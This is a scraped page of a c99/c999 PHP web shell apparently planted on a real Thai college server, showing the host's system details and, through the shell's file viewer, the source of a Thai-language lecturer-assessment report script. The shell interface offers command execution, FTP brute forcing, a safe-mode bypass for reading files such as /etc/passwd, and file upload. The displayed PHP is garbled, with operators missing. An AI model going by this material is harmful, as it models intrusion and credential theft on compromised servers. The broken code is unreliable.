!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reportDataRQCourseTep5_2.php (10.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsResultRQ.php";
include_once 
"../class/clsSectionAll.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oOFA = new OfficerAssess($oCA);
$oDo = new DoAssessment($oCA);
        
$oAF = new AssessForm($oCA);
$oAF->RSAssessFormByAssid($assid);
$oAF->GetRecord();

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

$oDA = new DefineAssessment($oCA);
$oDA->SearchByDefineid($defineid);
$oDA->GetRecord();

//ค้นหาคำถามปลายเปิดในแบบประเมินนี้ sectionRQid
$oSA = new SectionAll($oCA);
$CntSRQid $oSA->RSCountSectionRQid($assid);

?>
<title>รายงานค่าเฉลี่ยภาพรวมคุณภาพการสอนของอาจารย์ จำแนกวิชาที่สอน ในภาพรวมของวิทยาลัย</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<div id="tabmargin">
       <form name="pc" method="post" action="<?php echo $PHP_SELF;?>" enctype="multipart/form-data">
          <div align="center">
          </div><br>
          <table width="86%" align="center" cellpadding="1" cellspacing="1"  bgcolor="#0080C0">
            <tr bgcolor="#FFFFFF">
              <td width="99%">
              <table width="88%" align="center" border="0">
              <tr valign="bottom"> 
            
                <td width="345" height="29" ><div align="right"></div></td>

                <td width="110"  align="center" background=<?php if($ofSitId=='%') echo  "../picture/coverBG.gif"; else echo "../picture/coverBG1.gif"?>>
                <a  href="reportDataRQCourseTep5_2.php?assid=<?=$assid ?>&acadYear=<?=$acadYear?>&semester=<?=$semester ?>&defineid=<?=$defineid ?>&ofSitId=%"><img src="../picture/RQ.png" border="0" align="center" ><font size="2"> รวม</font></a></td>

                <td width="110"  align="center" background=<?php if($ofSitId=='1') echo  "../picture/coverBG.gif"; else echo "../picture/coverBG1.gif"?>>
                <a  href="reportDataRQCourseTep5_2.php?assid=<?=$assid ?>&acadYear=<?=$acadYear?>&semester=<?=$semester ?>&defineid=<?=$defineid ?>&ofSitId=1"><img src="../picture/RQ.png" border="0" align="center" ><font size="2"> อาจารย์ประจำ</font></a></td>

                <td width="110"  align="center" background=<?php if($ofSitId=='2') echo  "../picture/coverBG.gif"; else echo "../picture/coverBG1.gif"?>>
                <a  href="reportDataRQCourseTep5_2.php?assid=<?=$assid ?>&acadYear=<?=$acadYear?>&semester=<?=$semester ?>&defineid=<?=$defineid ?>&ofSitId=2"><img src="../picture/TQ.png" border="0" align="center" ><font size="2">  อาจารย์พิเศษ</font></a></td>

              </tr>
            </table>
              <table width="88%" align="center" border="0" cellpadding="0" cellspacing="1">
                  <tr> 
                    <td>
                      
                <table width="100%" align="center"  cellpadding="1" cellspacing="1" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                  <tr> 
                    <td height="34" align="center"><font size="2"><span class = "fontMark5">รายงานค่าเฉลี่ยภาพรวมคุณภาพการสอนของอาจารย์ จำแนกวิชาที่สอน ในภาพรวมของวิทยาลัย</span></font></td>
                  </tr>
                </table>
                      <table width="100%" border="0" align="center">
                        <tr>
                          <td height="25"><hr></td>
                        </tr>
                      </table>
<!--                      <table width="100%" border="0" align="center">
                      <tr> 
                        <td height="25" align="right"><font size="2"><span class = "fontMark5"><b> 
                         <a href = "reportDataRQCourseTep5_1_excel.php?defineid=<? echo $defineid ?>&assid=<? echo $assid ?>&acadYear=<? echo  $acadYear ?>&semester=<? echo $semester ?>&ofSitId=<?=$ofSitId?>" target="_top"><img src="../picture/ico_excel.gif" border="0"> รูปแบบ  Excel </a></b></span></font>
                        </td>
                    </tr>
                    </table> -->
                  
                <table border="0">
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
                    <td><font size="2"><b><img src="../picture/bullet.gif"> ชื่อแบบประเมิน 
                      </b></font></td>
                    <td width="609"><font size="2"><b>: </b></font><font size="2"> 
                      <? if($oAF->maintopic == ""){ echo "-"; }else{ echo $oAF->maintopic; } ?>
                      </font></td>
                  </tr>
<!--                   <tr > 
                    <td><font size="2"><b><img src="../picture/bullet.gif"> ชื่อทั่วไปแบบประเมิน 
                      </b></font></td>
                    <td><font size="2"><b>: </b><? echo $oAF->nameAss ?></font></td>
                  </tr> -->
                  <tr> 
                    <td width="163" height="21"><font size="2"><b><img src="../picture/bullet.gif"> 
                      ปีการศึกษา </b></font></td>
                    <td><font size="2"><b>: </b></font><? echo $acadYear ?> / 
                      <? echo $oSse->semesterName;?></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
                    <td height="22"><font size="2"><b><img src="../picture/bullet.gif"> 
                      ช่วงเวลาประเมิน</b></font></td>
                    <td><font size="2"><b>: </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                      - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?></font></td>
                  </tr>
                </table>
                <br>
                <? if($CntSRQid 0){ ?>
                <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666">
                 <tr> 
                    <td width="30" align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>ลำดับที่</b></font></td>
                    <td width="" align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>อาจารย์ผู้สอน</b></font></td>

                    <td width="80"  align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>รวม<br>(ค่าเฉลี่ย,s.d.)</b></font></td>
                    <td align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>วิชา(ค่าเฉลี่ย,s.d.)</b></font></td>
                 </tr>
<? 
        set_time_limit
(0);
        
$index_color 1;
            
/*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/

        
$oDo->RSXbarSDAllCrsOf($assid$acadYear$semester$defineid$ofSitId);
        
        if(
$oDo->numRows!=0){
            
$ofid 0;
            while(
$oDo->GetRecord()){ 
                if(
$oDo->officerId != $ofid){
                    
$ofid $oDo->officerId;
                    if(
$index_color==1){
                        if(
$index_color%== 0){
                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                        }else{
                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                        } 
?>
                            <td align="center">&nbsp;<? echo $index_color//$oDo->officerId; ?></td>
                            <td>&nbsp;<? echo $oDo->prefixName.$oDo->officerName."&nbsp;&nbsp;".$oDo->officerSurname ?></td>
                            <td align="center"><? echo "(".substr($oDo->txbar04).",".number_format($oDo->tsd,2).")" ?></td>
                            <td><? echo $oDo->courseCode."(".substr($oDo->xbar04).",".number_format($oDo->sd,2).")" ?>
<?
                        $index_color
++;
                    }else{
?>                       </td></tr>
<?                      if($index_color%== 0){
                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                        }else{
                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                        } 
?>
                            <td align="center">&nbsp;<? echo $index_color//$oDo->officerId; ?></td>
                            <td>&nbsp;<? echo $oDo->prefixName.$oDo->officerName."&nbsp;&nbsp;".$oDo->officerSurname ?></td>
                            <td align="center"><? echo "(".substr($oDo->txbar04).",".number_format($oDo->tsd,2).")" ?></td>
                            <td><? echo $oDo->courseCode."(".substr($oDo->xbar04).",".number_format($oDo->sd,2).")&nbsp;&nbsp;" ?>
<?
                        $index_color
++;
                    }
                }else{
                     echo 
", ".$oDo->courseCode."(".substr($oDo->xbar04).",".number_format($oDo->sd,2).")" ;
                     echo 
"&nbsp;&nbsp;";
                }
            }
?>          </td></tr>
<?
        
}else{

?>
                    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_5"];?>">
                            <td colspan="4" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                                  ไม่พบรายการอาจารย์ผู้สอนที่ถูกประเมิน **</font></td>
                    </tr>
<?      ?>

          </table>
        <br>
        <table width="100%" border="0" align="center">
          <tr> 
            <td width="75"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"><b>หมายเหตุ 
              :</b></font></td>
            <td width="733"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"> 
              การแปลผล (ผ่าน = <img src="../picture/yes.gif"> ,ไม่ผ่าน 
              = <img src="../picture/no.gif"> ) คิดจากค่าเฉลี่ยตั้งแต่ 
              3.5 ขึ้นไป ถือว่าผ่าน (ค่าเฉลี่ย &gt;= 3.5)</font></td>
          </tr>
        </table>
<? } else { ?>
    <table width="100%">
        <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_5'];?>">     
                    <td align="center"> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                      ไม่สามารถแสดงรายงานได้ เนื่องจากเนื่องจากแบบประเมินที่สร้างไม่มีส่วนของคำถามปลายปิด 
                      **</font></td>
         </tr>
    </table>
    <? // end if CntSRQid > 0?>
                <br>
                    </td>
                  </tr>
                </table></td>
            </tr>
          </table>
          </form><br>
</div>
        </body>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0074 ]--